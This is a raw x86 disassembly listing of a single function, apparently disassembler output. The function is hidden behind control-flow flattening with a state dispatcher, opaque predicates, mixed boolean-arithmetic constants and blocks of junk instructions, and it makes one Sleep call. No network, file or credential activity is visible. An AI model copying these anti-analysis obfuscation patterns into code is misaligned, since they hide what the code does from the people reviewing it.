add ebx, 0x50
and esi, 0xad
inc edi
not ebx
rcr edx, 0x74
neg edi
and edi, 0x2c
inc edx
add ebx, 0x27
dec edi
imul edx
bswap edx
dec eax
neg eax
rcr esi, 0x14
ror esi, 0xa3
neg edx
add edx, 0xee
rol eax, 0x39
sbb esi, 0x92
rcr ebx, 0xc1
add ebx, 0xa5
not edi
dec edx
rcr esi, 0
rcr esi, 0x2f
dec edx
bswap edx
mov edi, 0xb2
dec esi
add edi, 0xe8
dec edi
rcr esi, 0x16
ror esi, 0xe
bswap esi
imul ebx
and ebx, 0x8a
bswap eax
imul eax
neg esi
sbb edx, 0xcc
dec edi
imul esi
bswap esi
rcr eax, 0xa5
or ebx, 0x24
rcr eax, 3
neg ebx
not edi
sbb esi, 0xc3
rcr ebx, 0xe8
not esi
rcl edx, 0x41
sub eax, 0xd3
not edx
inc ebx
dec eax
add eax, 0x91
sbb eax, 0x36
mov edi, 0x3d
sub edi, 0xe1
rcr ebx, 0xdf
bswap eax
or esi, 0xb9
or eax, 0xe5
sub edi, 0x6d
sub edx, 0x11
imul eax
bswap eax
dec ebx
rcr ebx, 0x66
and eax, 0xd2
not eax
neg edx
or esi, 0xb9
rcr eax, 1
dec edi
rol esi, 0xfd
sbb esi, 0x3a
rcl esi, 0x16
add edi, 0xdd
rcr esi, 0xe
add ebx, 0xc3
sub eax, 0x73
mov ebx, 0xec
neg edx
rcr esi, 0x67
rcl eax, 0x4c
bswap edx
mov eax, 0x9d
sbb eax, 0xb3
not edx
neg eax
add edi, 0x30
and ebx, 0x71
dec edx
add ebx, 0x13
rol edi, 0xaa
ror esi, 0x96
sub edi, 0x35
rol edx, 0x99
imul ebx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0x7ca5a214
mov edi, edx
mov esi, eax
and esi, 0xb08fd4a
and edi, 0x805200a1
and edx, 0xa23e717e
or edi, esi
mov esi, ecx
xor esi, 0x835a5deb
and esi, ecx
and ecx, 0x5dc18e81
mov ebx, esi
not ebx
and esi, 0xf4f702b5
or ecx, edx
or eax, ebx
and ebx, 0xb08fd4a
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x835a5dea
and esi, 0x7ca5a215
or eax, esi
mov esi, 0x5f1f225c
mov edi, eax
not edi
mov edx, eax
and edx, 0x5afd62d2
and edi, 0xa5029d2d
or edi, edx
mov edx, ecx
xor edx, 0x5008c01
xor ecx, 0xa23e717e
or eax, ecx
and ecx, 0x5afd62d2
and edx, 0xa5029d2d
or edx, ecx
not eax
xor edx, edi
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4ba778], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
mov cl, ah
mov dh, ah
or al, dl
xor cl, 1
and dh, al
xor al, 1
and cl, al
or al, ah
or cl, dh
mov ch, al
xor ch, cl
test al, al
mov eax, 0x9b300efe
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0x9b300efe
cmove eax, ecx
jmp 0x402100
mov eax, 0x166a6382
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x7690a8ae
mov edx, eax
and edx, 0x6e815123
andn ecx, eax, ecx
not eax
and eax, 0x917eaedc
or eax, edx
mov edi, eax
mov edx, eax
xor edi, 0x917eaedc
xor edx, 0xe7ee0672
xor eax, 0x60004000
and edx, edi
or edi, 1
and eax, 0x6066484c
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x896f5750
and edx, 0x7690a8af
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x6066484d
mov esi, edx
or edx, edi
and esi, 0x9f99b7b2
and edi, 0x9f99b7b2
or ecx, esi
or eax, edi
not edx
xor eax, ecx
or edx, eax
mov esi, edx
mov ecx, edx
xor ecx, 0x1d24f4d0
mov eax, edx
not esi
or eax, 0xe2db0b2f
and ecx, edx
mov edx, eax
and edx, 0xd1dd99f5
and esi, 0xc206400
or esi, edx
mov edx, ecx
not edx
and ecx, 0x2e22660a
or eax, edx
and edx, 0xd1dd99f5
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x58a2b2dc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x87c889ee
and ecx, 0x78377611
or eax, ecx
mov ecx, eax
xor ecx, 0x806c311e
xor eax, 0x4028240
and ecx, 0xe17d319f
and eax, 0x1e82ce60
or eax, ecx
mov ecx, eax
xor ecx, 0xe039218b
xor eax, 0x18008e00
and eax, 0x19449e14
and ecx, 0xe6bb61eb
or ecx, eax
xor ecx, 0xe6bb61eb
setne cl
sete ch
cmp dword [0x4ba778], 0xa
mov dh, cl
mov bl, ch
setge al
setl dl
mov ah, al
and dh, dl
xor dl, ch
or bl, al
and ah, ch
mov ch, cl
xor ch, al
or ah, dh
and ch, al
or al, cl
xor ah, 1
xor al, 1
xor ch, 1
mov cl, ah
or al, dl
mov bh, ch
or ch, bl
mov edx, 0x45841ab
or ah, al
xor bh, bl
xor ch, 1
xor cl, al
xor ah, 1
or ch, bh
or ah, cl
xor ah, ch
and ch, ah
mov al, ah
xor al, ch
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x45841ab
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x402100
mov eax, 0x36347f22
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb2cef063
and eax, 0x20201650
mov edx, ecx
and edx, 0x4d310f9c
or ecx, 0xc020106
or esi, edx
and ecx, 0x4e43692f
mov edx, esi
xor esi, 0xc000104
xor edx, 0x908c8000
or eax, ecx
or esi, 0x42416829
and edx, 0x919c8080
and esi, 0x4e43692f
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc3fcc9e1
and ecx, 0x3c03361e
or eax, ecx
mov edi, eax
mov ebx, eax
xor edi, 0x46224064
xor ebx, 0xa19db798
xor eax, 0x4c000041
mov ecx, ebx
and ecx, 0x19c90c8b
and edi, 0xe636f374
or ebx, 0x33a8ecb2
and eax, 0xcc110341
or edi, ecx
mov ecx, edi
mov esi, edi
xor ecx, 0xe636f374
xor esi, 0x2a61e039
xor edi, 0x10800c8a
and esi, ecx
or ecx, 1
and edi, 0xf4949dbe
mov edx, esi
not edx
and esi, 0xee112f73
and ecx, 0xb6b6241
mov dword [ebp - 0x34], edx
and dword [ebp - 0x34], 0x11eed08c
or edx, ebx
and ebx, 0x11eed08c
or ecx, edi
add esi, dword [ebp - 0x34]
or eax, ebx
not edx
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x33a8ecb3
and eax, 0xcc57134c
or edx, eax
mov eax, edx
not eax
and edx, 0x5a39e7fa
mov esi, eax
and esi, 0xa5c61805
or edx, esi
mov esi, ecx
xor esi, 0xa296240
xor ecx, 0xf4949dbe
or eax, ecx
and ecx, 0xa5c61805
and esi, 0x5a39e7fa
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x3cc87e3a
mov ecx, eax
not ecx
and eax, 0x357964a
and ecx, 0xfca869b5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4ee55be5
and ecx, 0xb11aa41a
or eax, ecx
mov ecx, eax
xor ecx, 0xb0400200
xor eax, 0x1020da9
and eax, 0x30f3df9
and ecx, 0xfcf0c206
or ecx, eax
mov eax, ecx
xor eax, 0x34d08004
xor ecx, 0x20935a1
and ecx, 0xca2977a3
and eax, 0x35d6885c
or eax, ecx
xor eax, 0x35d6885c
setne dl
sete ah
cmp dword [0x4ba778], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
and cl, al
and al, ah
mov edx, ecx
or al, ch
xor cl, al
xor dl, 1
xor al, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x533e670a
cmovne esi, eax
test dl, 1
mov eax, 0x3cc87e3a
cmovne eax, esi
test cl, 1
cmove eax, esi
jmp 0x402100
mov eax, dword [ebp - 0xc0]
mov edi, 0xd099f831
mov eax, dword [eax]
add eax, dword [ebp - 0x84]
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x7c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x3e727171
and eax, 0xc18d8e8e
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x52a19b89
mov esi, edx
and esi, 0xad5e6476
or ecx, esi
mov esi, eax
xor esi, 0x40818a88
xor eax, 0x2c526070
and eax, 0xad5e6476
and esi, 0x52a19b89
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x9e7f049b
sete ch
setne ah
cmp dword [0x4ba778], 0xa
mov dh, ch
setge cl
setl dl
mov al, cl
and ah, dl
or dh, cl
or dl, ch
xor al, ch
not al
and al, cl
and cl, ch
xor al, 1
or cl, ah
mov ah, dl
mov ebx, eax
or al, dh
xor cl, 1
xor bl, dh
xor al, 1
xor ah, cl
or cl, dl
or al, bl
xor cl, 1
mov ebx, 0xd099f831
xor al, 1
or cl, ah
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x402100
sub ebx, 0xfe
neg edi
sbb ebx, 0x8d
rol edx, 0x94
mov edx, 0xe1
mov ebx, 0xdf
or edi, 0x11
dec edx
rcr edi, 0x1d
ror edx, 0x62
bswap esi
dec ebx
or eax, 0xa0
neg ebx
rcr eax, 0x47
or edx, 0x10
rcr ebx, 0xb6
ror ebx, 0xc9
dec esi
imul eax
sub esi, 0xf6
inc eax
dec esi
bswap eax
neg esi
ror ebx, 0xd6
not edi
or ebx, 0x37
imul edi
ror edi, 0x4a
and esi, 0x2f
neg ebx
bswap edx
rcr edx, 0xd0
rol edx, 0xc2
inc edi
ror ebx, 0x2c
not edi
inc edx
add eax, 0xf5
mov eax, 0x30
rcr edi, 0x2d
sbb esi, 0x4f
mov edx, 0x3a
sbb ebx, 0xb4
sub ebx, 0x25
sub edi, 0x88
dec ebx
and eax, 0xb1
rcr eax, 0x2b
bswap esi
sbb ebx, 0x7e
not esi
dec ebx
inc ebx
ror edx, 0xfd
sbb eax, 0xc8
sub esi, 0x37
sub edi, 0xec
sbb edx, 0x64
ror eax, 0x7c
and ebx, 0xb5
sbb edi, 0x51
neg edx
sbb eax, 0xcc
sub eax, 0x27
and edi, 0x54
rol edi, 0x1b
bswap edx
imul ebx
rcl edx, 0xa0
sbb esi, 0xbc
rcl esi, 0x91
imul edi
rcl edx, 0x6a
dec esi
not edx
neg eax
ror eax, 0x9e
add esi, 3
ror edx, 0xf3
sub edi, 0x1a
and ebx, 0xd7
rcl edx, 5
bswap edi
and esi, 0x9c
ror esi, 0x2a
dec edx
neg esi
not esi
and edx, 0x84
sbb edx, 0xe6
sbb ebx, 0xd3
dec edi
rcl ebx, 0x2f
add ebx, 0x42
inc eax
neg edx
imul eax
inc edi
inc esi
imul esi
inc eax
rcl edx, 0xbd
inc edi
bswap eax
bswap eax
and esi, 0x3a
bswap eax
sbb eax, 0xb2
dec esi
not esi
rcl eax, 0xce
bswap ebx
imul edx
rol ebx, 0x2e
or esi, 0xe6
or edi, 0xe7
sbb esi, 0xff
or edi, 0xe1
rcr ebx, 0xef
sbb edx, 0x25
bswap edi
bswap esi
rcl ebx, 0x23
neg eax
rcr edi, 0x5c
bswap eax
sub ebx, 0x22
sbb edx, 0x99
not edi
add ebx, 0xb5
rcr ebx, 0x63
sbb edi, 0x25
not eax
sbb eax, 0xfd
or edx, 0x6b
bswap ebx
imul ebx
bswap esi
dec eax
or edx, 0xa7
and eax, 0x93
dec edi
rol esi, 0x7a
rcl eax, 0xa2
imul edi
imul eax
not eax
inc ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x158], eax
mov eax, 0x45928ca9
jmp 0x402100
mov ecx, dword [ebp - 0x138]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x5103902
and ecx, 0x30000408
mov edx, eax
and edx, 0x22602d0
mov edi, eax
or edi, 0x122050
or esi, edx
and edi, 0xc8dbe075
mov edx, esi
xor edx, 0x5001902
xor esi, 0xc8cbc075
or ecx, edi
and esi, 0xc8dbe075
and edx, 0x7241b82
or edx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xcc6232f0
and edx, 0x339dcd0f
or ecx, edx
mov edx, ecx
xor edx, 0x82502000
xor ecx, 0x14088401
and ecx, 0x5d0c9d23
and edx, 0xa2f362dc
or edx, ecx
mov ecx, 0xea30ec1e
xor edx, 0xa2f362dc
or edx, eax
mov eax, 0xd48da204
cmp edx, 0xffffffff
cmove eax, ecx
jmp 0x402100
mov eax, dword [0x4ba77c]
mov esi, 0x62701b0c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x748fde6b
and eax, 0x8b702194
or ecx, eax
mov eax, ecx
xor eax, 0x824c2a
xor ecx, 0x3302114
and ecx, 0x773db355
and eax, 0x88c24caa
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x88c24caa
xor ecx, 0x773db355
xor edx, 0x773db354
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0xb38d5523
and eax, ecx
not ecx
and ecx, 0xb38d5523
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4c5c469e
and ecx, 0xb3a3b961
or eax, ecx
mov ecx, eax
xor ecx, 0xef800090
xor eax, 0xac802
and ecx, 0xefa424d0
and eax, 0x105bdb2f
or eax, ecx
cmp eax, 0x105bdb2f
sete cl
cmp dword [0x4ba778], 0xa
setl al
xor al, cl
mov ch, al
xor ch, 1
and cl, ch
mov edx, ecx
mov dh, cl
xor dl, 1
mov ah, dl
or dl, ch
and ch, al
and ah, cl
xor ch, 1
xor ah, 1
xor dh, ah
or ah, cl
mov cl, al
xor cl, ch
or ch, al
xor ah, 1
mov al, dl
xor ch, 1
or ah, dh
or ch, cl
xor ch, ah
xor al, ch
test al, 1
mov eax, 0x9d4ddba2
cmovne esi, eax
test dl, dl
mov eax, 0x62701b0c
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x654dc874
and eax, 0x9ab2378b
or ecx, eax
xor ecx, 0x654dc874
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x532001e0
mov esi, ecx
or esi, 0x20006
mov edi, ecx
and eax, 0x532201e6
and edi, 0x241c4a10
or edi, eax
mov eax, edx
and esi, 0x532201e6
and eax, 0x88c1b409
and edx, 0x7e6668ec
or eax, esi
xor eax, edi
mov esi, eax
not esi
and eax, 0xc5f9425
and esi, 0xf3a06bda
or eax, esi
mov esi, ecx
and esi, 0x81999713
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x20008032
xor eax, 0xd7be21cd
xor esi, 0x7e6668ed
and edx, 0x35128132
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2e170768
and esi, 0xd1e8f897
or ecx, esi
mov esi, eax
and esi, 0xcaed7ecd
or edx, esi
mov esi, ecx
xor esi, 0x24120120
xor ecx, 0xd1e8f897
or eax, ecx
and ecx, 0xcaed7ecd
and esi, 0x35128132
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x12241461
and eax, 0x444ac208
mov edx, ecx
or edx, 0x81100910
and esi, 0x93341d71
and ecx, 0x28812086
and edx, 0x93341d71
or ecx, esi
mov esi, 0x6dc3141f
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x6597db85
and ecx, 0x9a68247a
or eax, ecx
mov ecx, eax
xor ecx, 0xc02c013
xor eax, 0x810944
and ecx, 0x3f7ac4bb
and eax, 0xc0853b44
or eax, ecx
xor eax, 0xc0853b44
setne dl
sete ah
cmp dword [0x4ba778], 0xa
setl cl
setge ch
mov al, cl
or cl, ah
and ah, ch
xor ch, dl
xor cl, 1
and al, dl
or cl, ch
or al, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xa0ec6889
cmovne ecx, esi
test al, al
mov eax, 0xa0ec6889
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5d94aec6
mov esi, eax
and esi, 0xa26b5138
or eax, 0x3cf5a3a4
or edx, esi
and eax, 0x3cf5a3a5
mov esi, edx
xor esi, 0x41000c42
xor edx, 0x20610121
and edx, 0x3cf5a3a5
and esi, 0xc30a5c5a
or esi, edx
xor eax, esi
mov esi, 0xf5511e3e
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
setne ah
sete ch
cmp dword [0x4ba778], 0xa
setl cl
setge dl
mov al, cl
and ah, cl
and dl, ch
or cl, ch
xor al, ch
or dl, ah
and al, cl
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x4e6d3aa7
cmovne eax, esi
test cl, 1
mov ecx, 0x4e6d3aa7
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402100
cmp byte [ebp - 0x52], 0
mov eax, 0xa9f9d598
mov ecx, 0x9031b24c
cmovne eax, ecx
jmp 0x402100
mov eax, 0xe7cd6f08
jmp 0x402100
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, edx
or edx, 0x1a0fb7c8
and esi, 0x1a0fb7c8
mov ecx, edx
not ecx
and edx, 0xe5f04836
or ecx, esi
mov esi, 0xde00864c
and ecx, 0x1a0fb7c9
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne al
sete ah
cmp dword [0x4ba778], 0xa
setge cl
setl dl
and al, dl
or dl, ah
and cl, ah
or cl, al
xor dl, 1
mov eax, 0x6dc3141f
or dl, cl
xor dl, cl
cmovne esi, eax
test dl, cl
mov eax, 0xde00864c
cmovne esi, eax
test dl, dl
cmovne eax, esi
test dl, cl
cmove eax, esi
jmp 0x402100
mov eax, 0x88dd7d5d
jmp 0x402100
mov eax, 0xf9fdeab3
jmp 0x402100
mov eax, 0xaa7a43a9
jmp 0x402100
mov eax, 0x71417733
jmp 0x402100
mov eax, 0x581635c4
jmp 0x402100
mov dword [ebp - 0x24], 0xd
mov eax, 0x29cbe4bc
jmp 0x402100
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x64]
mov eax, dword [0x4ba77c]
mov dword [ebp - 0x24], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa636ef5
and eax, 0xf59c910a
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xa5941108
xor edx, 0xa636ef5
xor eax, 0x9fd2bab5
and eax, edx
and ecx, 0xa7b4758d
and edx, 0x584b8a72
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x584b8a72
xor esi, 0x3205a1cd
xor edx, 0x7901081
and esi, ecx
and edx, 0xf9210d3
or eax, esi
mov esi, eax
not esi
and eax, 0x5cf7d9cd
and esi, 0xa3082632
or eax, esi
mov esi, ecx
and esi, 0xf06def2c
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x4106058c
xor eax, 0x36b9f273
xor esi, 0xf9210d2
and edx, 0x578ed7fe
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4e4fed74
and esi, 0xb1b0128b
or ecx, esi
mov esi, eax
and esi, 0xa8712801
or edx, esi
mov esi, ecx
xor esi, 0x460ec574
xor ecx, 0xb1b0128b
or eax, ecx
and ecx, 0xa8712801
and esi, 0x578ed7fe
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xb6a220c2
and edx, 0x495ddf3d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x495ddf3d
or eax, esi
and esi, 0xb6a220c2
or ecx, esi
not eax
mov esi, 0x4978f7f2
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc51eb289
mov edx, ecx
and edx, 0x3ae14d76
or eax, edx
xor eax, 0xc51eb289
or eax, ecx
xor eax, 0xffffffff
sete ch
setne dl
cmp dword [0x4ba778], 0xa
mov dh, ch
setl ah
setge cl
mov al, ah
or dh, cl
and cl, ch
or al, dl
and dl, ah
or ah, ch
mov ebx, eax
or al, dh
xor ah, 1
or cl, dl
xor bl, dh
xor al, 1
or cl, ah
or al, bl
mov edx, ecx
mov ah, al
xor ah, 1
mov ch, ah
mov dh, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
xor dh, ch
xor ch, 1
xor dl, 1
or ch, al
xor ch, 1
or ch, dh
mov dh, cl
xor dh, dl
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, dh
or cl, ah
mov eax, 0x1a80bc8a
xor dl, ch
mov ebx, ecx
xor bl, dl
test cl, 1
cmovne eax, esi
test dl, 1
not bl
mov edx, 0x1a80bc8a
cmove eax, esi
test bl, 1
cmovne eax, edx
jmp 0x402100
mov eax, 0x6dbe6244
jmp 0x402100
mov eax, 0x39c07107
jmp 0x402100
mov eax, dword [ebp - 0xf0]
add eax, 0x18
mov dword [ebp - 0xf4], eax
mov eax, 0x13f5422d
jmp 0x402100
cmp eax, 0x71417733
jne 0x402100
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0041d790
mov eax, dword [ebp - 0x2c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret